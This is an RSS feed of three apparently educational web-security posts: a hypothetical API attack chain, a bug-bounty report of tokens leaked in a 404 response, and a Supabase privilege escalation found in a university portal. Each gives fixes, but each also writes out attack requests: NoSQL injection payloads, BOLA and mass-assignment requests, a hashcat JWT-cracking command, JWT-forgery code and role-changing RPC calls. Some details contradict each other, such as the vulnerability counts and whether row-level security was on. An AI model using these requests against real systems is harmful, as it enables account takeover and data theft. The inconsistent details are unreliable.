<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Advait Rane on Medium]]></title>
        <description><![CDATA[Stories by Advait Rane on Medium]]></description>
        <link>https://medium.com/@advaitrane227?source=rss-5dab9081a930------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*M3GAcp08PbghznVZrcY1Fg.jpeg</url>
            <title>Stories by Advait Rane on Medium</title>
            <link>https://medium.com/@advaitrane227?source=rss-5dab9081a930------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:37:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@advaitrane227/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Mapped How Attackers Chain 5 API Vulnerabilities Into a Full Admin Takeover — Here’s Every Step]]></title>
            <link>https://medium.com/@advaitrane227/i-mapped-how-attackers-chain-5-api-vulnerabilities-into-a-full-admin-takeover-heres-every-step-627b334a304c?source=rss-5dab9081a930------2</link>
            <guid isPermaLink="false">https://medium.com/p/627b334a304c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mass-assignment]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[nosql-database]]></category>
            <dc:creator><![CDATA[Advait Rane]]></dc:creator>
            <pubDate>Fri, 01 May 2026 13:32:55 GMT</pubDate>
            <atom:updated>2026-05-01T13:32:55.570Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*FgqUq8NyQKKZD4At2ZRUPw.jpeg" /></figure><p><strong>Five vulnerabilities. One chain. A complete path from anonymous visitor to admin panel — and what every developer building multi-tier APIs needs to understand.</strong></p><p><em>Educational Writeup · Web Security · NoSQL Injection · BOLA · Mass Assignment · JWT · Hypothetical Attack Chain</em></p><p>NoSQL Injection → BOLA → Admin Takeover</p><p>Mass Assignment → Privilege Escalation</p><p>Weak JWT Secret → Token Forgery</p><p>I want to walk you through an attack chain that has an interesting pattern and could be very easy to miss.</p><p>Not against one specific target. Against a <em>type</em> of target — the B2B SaaS platform built fast, shipped fast, and secured as an afterthought. MongoDB on the backend, JWT auth, tiered user roles, a REST API that the frontend only uses half of.</p><p>These platforms share a particular failure mode: the security assumptions made at layer one quietly invalidate every control at layer two. One exposed field feeds the next misconfigured endpoint. A single unguarded parameter becomes a skeleton key.</p><p>Here’s what that looks like in practice, from first probe to full administrator access.</p><h3>The hypothetical target</h3><p>Imagine a B2B platform with four user tiers: anonymous visitors, registered free users, B2B partner accounts, and administrators. MongoDB backend. HS256 JWT authentication. A REST API that exposes more surface area than the frontend suggests.</p><p>The kind of architecture that looks clean from the outside. The kind where access control failures compound because there are multiple trust boundaries and multiple assumptions baked into the design.</p><h3>Vulnerability 1 + 2: Admin account takeover — CVSS 9.1</h3><p>This is a two-step chain. Neither step alone produces a critical. Together, they give you the keys to the whole platform.</p><h3>Step 1 — NoSQL injection as an ID oracle</h3><p>The application exposes a user lookup endpoint. It accepts a username in the request body, queries MongoDB, and returns profile data. Standard pattern. Except the developer passed the user input directly into the query without type-checking or sanitization.</p><p>MongoDB queries accept operator objects — $regex, $gt, $in, $where — in place of string values. If the backend doesn&#39;t validate that the incoming value is actually a string before it hits the database, you can inject these operators directly:</p><pre>POST /api/v1/users/lookup<br>Content-Type: application/json</pre><pre>{<br>  &quot;username&quot;: { &quot;$regex&quot;: &quot;^admin&quot;, &quot;$options&quot;: &quot;i&quot; }<br>}</pre><p>The database evaluates this as: <em>find a user whose username starts with “admin”, case-insensitive.</em> It returns a match. And because the developer didn’t think carefully about what the response object should contain, the returned profile includes the account’s internal MongoDB _id.</p><p>That _id is the critical detail. It&#39;s not a password. It&#39;s not obviously sensitive. Most developers know not to return passwords — fewer think about what an internal database identifier enables when the rest of the API treats those IDs as unguessable secrets.</p><p>You can extend the injection to enumerate systematically:</p><pre>{ &quot;username&quot;: { &quot;$regex&quot;: &quot;^admin&quot; } }           → _id: &quot;64f3a...&quot;<br>{ &quot;username&quot;: { &quot;$regex&quot;: &quot;^superadmin&quot; } }      → _id: &quot;64f3b...&quot;<br>{ &quot;role&quot;: { &quot;$in&quot;: [&quot;admin&quot;, &quot;administrator&quot;] } } → multiple _ids</pre><p>No authentication. No rate limiting. No error. Just silent enumeration of administrator account identifiers.</p><h3>Step 2 — BOLA on the password-change endpoint</h3><p>Now you have admin account IDs. The question is what to do with them.</p><p>The password-change endpoint accepts a userId in the request body and updates that account&#39;s credentials. The logic checks that the request carries a valid JWT — that the caller is authenticated — but never checks whether the authenticated user is <em>authorized</em> to modify that specific account.</p><pre>POST /api/v1/users/change-password<br>Authorization: Bearer &lt;low_privilege_token&gt;<br>Content-Type: application/json</pre><pre>{<br>  &quot;userId&quot;: &quot;64f3a...&quot;,<br>  &quot;newPassword&quot;: &quot;Attacker@12345&quot;<br>}</pre><pre>HTTP/1.1 200 OK<br>{&quot;message&quot;: &quot;Password updated successfully&quot;}</pre><p>This is BOLA — Broken Object Level Authorization. The server answers one question (<em>is this user logged in?</em>) and forgets to ask the one that matters (<em>does this user own this object?</em>).</p><p>Combined with the NoSQL injection that silently hands you administrator IDs, the full chain runs like this:</p><pre>[No auth]<br>  → Inject $regex into lookup endpoint<br>  → Extract _id of target administrator account<br>  → Register free account → obtain low-privilege JWT<br>  → POST /change-password with admin _id + chosen password<br>  → Login as administrator<br>  → Full platform control</pre><blockquote><em>Two API calls separate an anonymous visitor from the admin panel. The authentication layer was real. The authorization layer was a fiction.</em></blockquote><h3>Vulnerability 3: Mass assignment privilege escalation — CVSS 8.6</h3><p>This one is independently critical. It doesn’t require the injection chain. Any anonymous user can exploit it from scratch.</p><p>The registration endpoint accepts a JSON body. The developer, using an ORM or document model, passes req.body directly to the model constructor — a pattern that&#39;s fast to write and catastrophic to ship:</p><pre>// The dangerous pattern<br>const user = new User(req.body);<br>await user.save();</pre><p>When the entire request body is bound to the model, every field defined on the model schema becomes writable — including fields that should be server-controlled. Add a role parameter to the registration request that the frontend form never exposes:</p><pre>POST /api/v1/auth/register<br>Content-Type: application/json</pre><pre>{<br>  &quot;name&quot;: &quot;Test User&quot;,<br>  &quot;email&quot;: &quot;test@example.com&quot;,<br>  &quot;password&quot;: &quot;Password123!&quot;,<br>  &quot;role&quot;: &quot;b2b_partner&quot;<br>}</pre><p>The server accepts it. The newly registered account carries B2B partner privileges — wholesale pricing, partner-specific inventory, bulk ordering access — without any application process, approval, or payment.</p><p>The blast radius extends beyond access control. Wholesale pricing tiers represent negotiated commercial relationships. An attacker with mass assignment access can harvest the complete margin structure of every product on the platform — supplier costs, partner margins, retail markups — all exposed through APIs that the frontend simply chose not to render.</p><h3>Vulnerability 4: Weak JWT secret — CVSS 7.3</h3><p>The platform uses HS256 JWT tokens — symmetric signing, where the same key signs and verifies every token. The entire model depends on that key being secret and sufficiently random.</p><p>During development, someone set a short, memorable signing secret. It never got rotated before the platform shipped. A captured token, run through hashcat against a standard wordlist, cracks in minutes:</p><pre>hashcat -a 0 -m 16500 &lt;captured_jwt&gt; /usr/share/wordlists/rockyou.txt</pre><p>With the signing secret, you can forge tokens with arbitrary payloads:</p><pre>import jwt</pre><pre>payload = {<br>    &quot;sub&quot;: &quot;64f3a...&quot;,       # any user ID from the NoSQL oracle<br>    &quot;role&quot;: &quot;administrator&quot;,<br>    &quot;iat&quot;: &lt;now&gt;,<br>    &quot;exp&quot;: &lt;future&gt;<br>}</pre><pre>forged = jwt.encode(payload, cracked_secret, algorithm=&quot;HS256&quot;)</pre><p>Any endpoint that reads authorization claims from the token without independently verifying them against the database will treat this as a legitimate administrator session. The BOLA chain gets you admin access through credential reset. The forged JWT gets you there through a completely different route — no password change required, no trace in the auth logs.</p><p>Two independent paths to the same outcome. That’s what makes this chain resilient: patching one vulnerability doesn’t close the door.</p><h3>The complete chain</h3><pre>STAGE 1 — RECON<br>  └─ Enumerate API endpoints<br>  └─ Identify MongoDB backend from error messages + response shapes<br>  └─ Observe _id fields leaking in profile responses</pre><pre>STAGE 2 — ID EXTRACTION<br>  └─ Inject $regex operator into lookup endpoint<br>  └─ Extract internal _id values for admin-role accounts</pre><pre>STAGE 3 — INITIAL ACCESS<br>  └─ Register free account with &quot;role&quot;: &quot;b2b_partner&quot; via mass assignment<br>  └─ Obtain authenticated session with elevated privileges</pre><pre>STAGE 4 — CREDENTIAL TAKEOVER<br>  └─ POST /change-password with extracted admin _id<br>  └─ Set attacker-controlled password on administrator account</pre><pre>STAGE 5 — FULL COMPROMISE<br>  └─ Login as administrator with new credentials<br>  └─ Alternatively: forge JWT with cracked secret + admin role claim</pre><pre>STAGE 6 — PERSISTENCE<br>  └─ Access wholesale pricing, partner data, order management<br>  └─ Business logic flaws extend reach into financial manipulation</pre><p>Seven distinct vulnerabilities. One coherent chain. Every step made possible by the one before it.</p><h3>The fixes</h3><p><strong>NoSQL injection</strong> — validate input types before they reach the database. A string field should only ever accept a string. Reject objects entirely. Use a schema validator like Joi or Zod as the first gate:</p><pre>// Wrong — raw input hits MongoDB directly<br>const user = await User.findOne({ username: req.body.username });</pre><pre>// Right — validate type and shape first<br>const schema = Joi.object({<br>  username: Joi.string().alphanum().max(50).required()<br>});<br>const { username } = await schema.validateAsync(req.body);<br>const user = await User.findOne({ username });</pre><p><strong>BOLA</strong> — never derive the target of a sensitive operation from the request body. Always pull the acting user’s identity from the verified session:</p><pre>// Wrong — the client decides whose password changes<br>const { userId, newPassword } = req.body;<br>await User.updatePassword(userId, newPassword);</pre><pre>// Right — the session decides<br>const userId = req.user.id; // from verified JWT, not request body<br>await User.updatePassword(userId, req.body.newPassword);</pre><p><strong>Mass assignment</strong> — explicitly allowlist every field that users are permitted to set. Never pass req.body directly to a model constructor:</p><pre>// Wrong<br>const user = new User(req.body);</pre><pre>// Right — destructure only what&#39;s safe, hardcode the rest<br>const { name, email, password } = req.body;<br>const user = new User({ name, email, password, role: &#39;user&#39; });</pre><p><strong>JWT secret</strong> — generate with a cryptographically secure source. 256 bits minimum. Store in environment variables. Rotate before any production deployment. Never verify role claims from the token alone on sensitive operations — check against the database:</p><pre># Generate a proper secret<br>node -e &quot;console.log(require(&#39;crypto&#39;).randomBytes(32).toString(&#39;hex&#39;))&quot;</pre><pre>// Verify the token<br>jwt.verify(token, process.env.JWT_SECRET, { algorithms: [&#39;HS256&#39;] });</pre><pre>// Then verify the claim against the DB — never trust the token alone<br>const user = await User.findById(decoded.sub);<br>if (user.role !== &#39;administrator&#39;) throw new Error(&#39;Access denied&#39;);</pre><h3>Why this pattern keeps appearing</h3><p>Each individual mistake here is well-documented. NoSQL injection, BOLA, mass assignment, weak secrets — these aren’t obscure edge cases. They’re in every OWASP top ten list. They’ve been written about for years.</p><p>And yet they appear together, in production, compounding each other, because they’re made at different points in the development lifecycle by different people operating under different assumptions. The developer who wrote the lookup endpoint didn’t know a password-change endpoint would trust its output. The developer who wrote registration didn’t think about what happened if someone added an extra field. Nobody audited the JWT secret strength before go-live.</p><p>Vulnerabilities don’t live in isolation. Attackers chain them. Security reviews need to think the same way — not just “is this endpoint safe?” but “what does this endpoint <em>enable</em> if something else is already broken?”</p><p><strong>The checklist:</strong></p><pre>✓ Validate input types before any database query — reject objects in string fields<br>✓ Always derive sensitive operation targets from the session, never the request body<br>✓ Allowlist writable model fields explicitly — never bind req.body directly<br>✓ Generate JWT secrets with crypto.randomBytes(32) — never dictionary strings<br>✓ Verify role claims against the database on every privileged operation<br>✓ Rate limit all sensitive endpoints — password reset, OTP, login<br>✓ Audit what your API returns — strip internal IDs and fields the caller shouldn&#39;t see<br>✓ Test every endpoint with a low-privilege token before shipping</pre><p>Think in chains. Build defenses in chains. A single fix that closes one step while leaving the others open gives a false sense of security — the attacker just takes a different route to the same destination.</p><p><em>This is a hypothetical attack chain constructed for educational purposes, illustrating vulnerability classes that appear frequently in real-world API security assessments. No specific system or organization is referenced. All code examples are simplified for clarity.</em></p><p><em>Tags: nosql-injection · bola · idor · mass-assignment · jwt · api-security · web-security · appsec · mongodb · owasp</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=627b334a304c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The 404 That Leaked a Live JWT and Sentry Keys]]></title>
            <link>https://medium.com/@advaitrane227/the-404-that-leaked-a-live-jwt-and-sentry-keys-f8907b0d1ca6?source=rss-5dab9081a930------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8907b0d1ca6</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[jwt-token]]></category>
            <category><![CDATA[sentry-keys]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[error-404]]></category>
            <dc:creator><![CDATA[Advait Rane]]></dc:creator>
            <pubDate>Mon, 27 Apr 2026 06:58:47 GMT</pubDate>
            <atom:updated>2026-04-27T06:58:47.917Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yKxy87ODw9PV6jbQ.png" /></figure><p><strong>I requested a URL that didn’t exist. The server handed me an access token, a refresh token, and internal monitoring credentials. Bug accepted.</strong></p><p><em>Bug Bounty · JWT · Keycloak · Sentry DSN · Information Disclosure</em></p><p>Severity Type Outcome High Token + Secret Exposure in Error Response Accepted — Duplicate</p><h3>What Happened</h3><p>While testing an authorized target, I did something simple — I requested a path I knew didn’t exist:</p><pre>GET /api/v2/non-existent-security-test HTTP/1.1<br>Host: [redacted]</pre><p>Expected: a boring 404 Not Found.</p><p>What I actually got:</p><pre>HTTP/1.1 404 Not Found<br>Set-Cookie: keycloak_token={&quot;AccessToken&quot;:&quot;eyJhbGci...&quot;,&quot;RefreshToken&quot;:&quot;eyJhbGci...&quot;}; Path=/; HttpOnly<br>Content-Security-Policy: default-src &#39;self&#39;; report-uri https://sentry.io/api/[PROJECT_ID]/security/?sentry_key=[EXPOSED_KEY]<br>Reporting-Endpoints: default=&quot;https://[KEY]@sentry.io/[PROJECT_ID]&quot;</pre><p>Two critical issues in one response. No authentication required.</p><h3>Finding 1 — Live JWT in a 404 Cookie</h3><p>The server’s error-handling middleware was minting and issuing a full Keycloak session on <em>every</em> 404 — access token and refresh token — to completely unauthenticated requests.</p><p>The access token decoded to real claims: valid sub, realm roles, live expiry. The refresh token made it persistent — an attacker could silently rotate tokens indefinitely without the user ever knowing.</p><p><strong>Why this is serious beyond the obvious:</strong></p><p>Headers don’t stay between client and server. They travel through CDN logs (Cloudflare logs response headers by default), corporate proxies doing SSL inspection, and browser extensions with webRequest permission. A token in a Set-Cookie header is a token that&#39;s already been seen by every intermediary in the chain.</p><p>The attack is three steps:</p><pre>1. GET /api/v2/anything-fake<br>   ← Set-Cookie: keycloak_token={AccessToken, RefreshToken}</pre><pre>2. POST /auth/realms/[realm]/protocol/openid-connect/token<br>   grant_type=refresh_token&amp;refresh_token=eyJhbGci...<br>   ← fresh access_token, rotated refresh_token</pre><pre>3. GET /api/v1/profile<br>   Authorization: Bearer &lt;new_access_token&gt;<br>   ← full authenticated access</pre><p>This is a textbook <strong>Principle of Least Privilege</strong> violation — the error handler had no business touching authentication state at all.</p><h3>Finding 2 — Sentry DSN Key in Response Headers</h3><p>The Content-Security-Policy and Reporting-Endpoints headers both contained a live Sentry DSN key. I confirmed it in thirty seconds:</p><pre>curl -X POST &quot;https://sentry.io/api/[PROJECT_ID]/store/&quot; \<br>  -H &quot;X-Sentry-Auth: Sentry sentry_version=7, sentry_key=[KEY]&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;message&quot;: &quot;test&quot;, &quot;level&quot;: &quot;info&quot;}&#39;</pre><pre>→ {&quot;id&quot;: &quot;a1b2c3d4...&quot;}</pre><p>Event accepted. The key was live.</p><p>With a valid DSN an attacker can flood the project with fake errors to drown out real alerts, exhaust the event quota to create a monitoring blackout, or probe the internal error taxonomy for reconnaissance. A Sentry DSN is a credential — it should never appear in a public response header.</p><h3>Root Cause</h3><p>The session initialization middleware was registered globally, so it ran on <em>every</em> request — including the 404 catch-all. It saw no existing token, minted one, set the cookie, and passed control forward. The 404 handler fired after, with the credential already in the response.</p><pre>// The problem — middleware runs before the 404 handler<br>app.use(keycloakSessionMiddleware); // ← sets cookie on every request<br>app.use((req, res) =&gt; res.status(404).json({ error: &#39;Not Found&#39; }));</pre><p>Middleware ordering is a security property. Scoping it only to protected routes fixes the issue entirely.</p><h3>The Fix</h3><pre>// Scope auth middleware to protected routes only<br>const apiRouter = express.Router();<br>apiRouter.use(keycloakSessionMiddleware);<br>apiRouter.get(&#39;/users&#39;, handler);<br>app.use(&#39;/api/v2&#39;, apiRouter);</pre><pre>// 404 handler — no auth middleware ever reaches here<br>app.use((req, res) =&gt; res.status(404).json({ error: &#39;Not Found&#39; }));</pre><p>For the Sentry DSN — proxy CSP reports through your own backend, keep the DSN server-side only, and rotate any key that has been exposed in a public header.</p><h3>The Duplicate</h3><p>Triage confirmed it valid. Someone had already reported it.</p><p>That stung for a moment. Then I reframed it: two independent researchers found the same high-severity bug using the same methodology. My instincts were right — I was just second.</p><p>This was my first confirmed valid bug. Since then, three more informative findings. The habit that got me here — actually reading error responses instead of skimming past them — is the same habit driving everything after it.</p><p>Error responses are attack surface. Read them like it.</p><p><em>Conducted under an authorized bug bounty program. All sensitive values redacted.</em></p><p><em>Tags: bug-bounty · jwt · keycloak · sentry · appsec · web-security · ethical-hacking</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8907b0d1ca6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Got Super Admin on My University’s Sports Booking Portal]]></title>
            <link>https://medium.com/@advaitrane227/how-i-got-super-admin-on-my-universitys-sports-booking-portal-983887ec74c8?source=rss-5dab9081a930------2</link>
            <guid isPermaLink="false">https://medium.com/p/983887ec74c8</guid>
            <category><![CDATA[rpc]]></category>
            <category><![CDATA[supabase]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[postgresql]]></category>
            <dc:creator><![CDATA[Advait Rane]]></dc:creator>
            <pubDate>Sun, 26 Apr 2026 03:09:48 GMT</pubDate>
            <atom:updated>2026-04-27T02:18:45.869Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*3buR5deRAd-PYuIL3VR1PQ.jpeg" /></figure><p><strong>Two misconfigurations, one exposed RPC endpoint, and zero RLS policies , a short story about what happens when Supabase defaults go unchecked.</strong></p><p><em>Authorized Security Assessment · 2025 · Supabase / PostgreSQL · IDOR · RLS · RPC · Responsibly Disclosed</em></p><p>Severity Attack Type Status Critical IDOR + RLS Bypass Patched ✓</p><p>While casually poking around my university’s new sports facility booking portal, I noticed something that made me stop scrolling and start thinking. The kind of thing you don’t go looking for, you just stumble into it when you’re curious about how an endpoint is structured.</p><p>What followed was a two-step privilege escalation that took any authenticated student account straight to full super admin access. No brute force, no zero-days, no exotic tooling. Just a misconfigured RPC endpoint and a database with Row Level Security switched off.</p><p>I reported both findings responsibly. The developer fixed them. Here’s the full technical breakdown.</p><h3>The Setup: What the Portal Does</h3><p>The sports booking portal lets students reserve courts, pitches, and gym slots at university facilities. It’s built on <strong>Supabase</strong> — the open-source Firebase alternative backed by PostgreSQL — which exposes a REST API and auto-generated endpoints for database functions.</p><p>Most of the surface area was standard: authentication via JWT, booking endpoints returning only your own reservations, a frontend that looked clean. Nothing obviously wrong at first glance.</p><p>But I kept thinking about the parts of Supabase that developers often leave on by default and forget about.</p><h3>Finding 1: The Exposed RPC Endpoint</h3><h3>What is an RPC endpoint in Supabase?</h3><p>Supabase lets developers write <strong>PostgreSQL functions</strong> and expose them as HTTP endpoints automatically under the /rest/v1/rpc/ path. These are called via <strong>Remote Procedure Calls</strong> — essentially HTTP POST requests that invoke database-side logic.</p><p>They’re meant to be protected. But protecting them requires the developer to explicitly set the function’s security context , and a common mistake is forgetting to do so.</p><h3>How I Found It</h3><p>I started enumerating paths methodically. The regular REST endpoints — /rest/v1/bookings, /rest/v1/users — were all behind authentication and returning only scoped data. Standard.</p><p>Then I tried the RPC namespace. I guessed a few function names based on what the app appeared to do, and hit:</p><pre>POST /rest/v1/rpc/get_all_users<br>Authorization: Bearer &lt;my_student_jwt&gt;<br>Content-Type: application/json</pre><pre>{}</pre><p><strong>Response — 200 OK:</strong> Full user table dump. Names, emails, roles, booking history. Every record in the database, returned to a regular student token.</p><p>The function existed, it was callable by any authenticated user, and it had no authorization check of its own. The developer had written it for internal admin tooling and never restricted who could invoke it.</p><p>This is an <strong>IDOR — Insecure Direct Object Reference</strong> at the API layer. The object in question is the RPC function itself, and any authenticated principal could reference and execute it directly.</p><h3>Finding 2: RLS Was Off — Completely</h3><h3>What is Row Level Security?</h3><p><strong>Row Level Security (RLS)</strong> is a PostgreSQL feature that lets you attach policies to tables, filtering which rows a given database role can read, insert, update, or delete. In Supabase, this is the primary mechanism for multi-tenant data isolation.</p><p>When RLS is enabled on a table with no policies defined, access defaults to <em>deny-all</em>. When RLS is <strong>disabled</strong>, the table is wide open to any role that has basic table-level SELECT or UPDATE grants — including the anon and authenticated roles that Supabase exposes to the outside world.</p><pre>-- This is the dangerous default state<br>ALTER TABLE users DISABLE ROW LEVEL SECURITY;<br>ALTER TABLE bookings DISABLE ROW LEVEL SECURITY;</pre><pre>-- Any authenticated request can now read/write everything<br>GRANT SELECT, UPDATE ON users TO authenticated;</pre><p>Because the RPC function was executing under the authenticated role&#39;s context —RLS <em>was</em> enabled on the profiles table — but one policy was misconfigured. The role column had an intended write restriction that wasn&#39;t functioning as designed, allowing any authenticated user to update their own role field to admin through a crafted request. It wasn&#39;t that security was absent; it was that a single policy had a logic flaw that quietly invalidated the protection.</p><p>The combination was lethal: an unguarded function entry point, plus a database with the safety net removed.</p><h3>The Full Attack Chain</h3><pre>[Student Login] → [Enumerate /rpc/ namespace] → [Call unprotected admin function] → [RLS off = full table access] → [Super Admin]</pre><p>With arbitrary function invocation and unrestricted table access, the next logical step was to find a function that could mutate roles. There was one: set_user_role. Calling it with my own user ID and role: &quot;super_admin&quot; worked without challenge.</p><pre>POST /rest/v1/rpc/set_user_role<br>Authorization: Bearer &lt;student_jwt&gt;</pre><pre>{<br>  &quot;user_id&quot;: &quot;&lt;my_own_uuid&gt;&quot;,<br>  &quot;role&quot;: &quot;super_admin&quot;<br>}</pre><p><strong>Impact:</strong> Full administrative control — read all user data, modify or cancel any booking, change roles for any account, and access financial/payment records associated with facility bookings.</p><blockquote>Two API calls. That’s all it took to go from a freshers’ sport slot to full admin.</blockquote><h3>The Fix</h3><p>I documented both findings with reproduction steps and risk ratings, and reported them directly to the IT security team and the developer. The fixes were applied within days.</p><h3>Fix 1 — Restrict RPC Functions to Authorized Roles</h3><pre>-- Define function with SECURITY DEFINER + explicit role check<br>CREATE OR REPLACE FUNCTION get_all_users()<br>RETURNS SETOF users<br>LANGUAGE plpgsql<br>SECURITY DEFINER<br>AS $$<br>BEGIN<br>  -- Validate caller is actually an admin<br>  IF NOT (<br>    SELECT (auth.jwt() -&gt;&gt; &#39;role&#39;) = &#39;admin&#39;<br>  ) THEN<br>    RAISE EXCEPTION &#39;Access denied&#39;;<br>  END IF;</pre><pre>  RETURN QUERY SELECT * FROM users;<br>END;<br>$$;</pre><pre>-- Revoke public execution; grant only to service role<br>REVOKE EXECUTE ON FUNCTION get_all_users() FROM PUBLIC;<br>GRANT EXECUTE ON FUNCTION get_all_users() TO service_role;</pre><h3>Fix 2 — Enable RLS and Define Explicit Policies</h3><pre>-- Enable RLS on all sensitive tables<br>ALTER TABLE users ENABLE ROW LEVEL SECURITY;<br>ALTER TABLE bookings ENABLE ROW LEVEL SECURITY;</pre><pre>-- Users can only read their own record<br>CREATE POLICY &quot;users_read_own&quot;<br>  ON users<br>  FOR SELECT<br>  TO authenticated<br>  USING (id = auth.uid());</pre><pre>-- Bookings scoped to the booking owner<br>CREATE POLICY &quot;bookings_read_own&quot;<br>  ON bookings<br>  FOR SELECT<br>  TO authenticated<br>  USING (user_id = auth.uid());</pre><pre>-- Admins bypass RLS via service_role — never expose this client-side<br>ALTER TABLE users FORCE ROW LEVEL SECURITY;</pre><p>After the fix: RPC functions now validate JWT claims before executing. RLS policies enforce row-level scoping on every table. The service_role key — which bypasses RLS — is kept exclusively server-side and never shipped to the client.</p><h3>Why This Happens (And How to Avoid It)</h3><p>Supabase makes it genuinely fast to ship — you get a full PostgreSQL database, an auto-generated REST API, authentication, and storage in minutes. The tradeoff is that sensible security defaults require opt-in. New tables are created with RLS disabled. Functions are callable by any authenticated user by default. The auto-API exposes every table and every function unless you explicitly lock things down.</p><p>This isn’t a Supabase flaw exactly — it’s the classic developer experience vs. security tension. Speed wins during building; security gets deferred to “just before launch” and then never quite happens.</p><p><strong>The checklist that should have caught both issues:</strong></p><pre>✓ Enable RLS on every table that stores user data<br>✓ Define explicit SELECT / INSERT / UPDATE / DELETE policies<br>✓ Never expose the service_role key client-side<br>✓ Audit all /rpc/ functions — who can call them?<br>✓ Use SECURITY DEFINER + JWT claim checks in sensitive functions<br>✓ Restrict function execution with REVOKE EXECUTE FROM PUBLIC<br>✓ Run Supabase&#39;s built-in Security Advisor (Dashboard → Reports)<br>✓ Test with a low-privilege user token before launch</pre><h3>Takeaway</h3><p>If you’re shipping anything on Supabase — or really any backend with an auto-generated API surface — the attack surface is bigger than what your frontend exposes. The /rpc/ namespace is a direct line to your database logic, and any function you write becomes an HTTP endpoint by default.</p><p>RLS is not optional. It’s the contract between your application layer and your data layer. Without it, your JWT authentication becomes a formality — anyone inside the perimeter has the same view of the database.</p><p>The fix here took a few hours. The exposure, had it been found by someone with worse intentions, could have compromised the personal data of every student on campus.</p><p><em>This assessment was conducted with explicit authorization. All testing was performed on a staging environment and no production data was accessed or exfiltrated beyond confirming the vulnerability’s scope.</em></p><p><em>Tags: supabase · postgresql · rls · idor · rpc · security-research · responsible-disclosure · web-security · cybersecurity · appsec</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=983887ec74c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>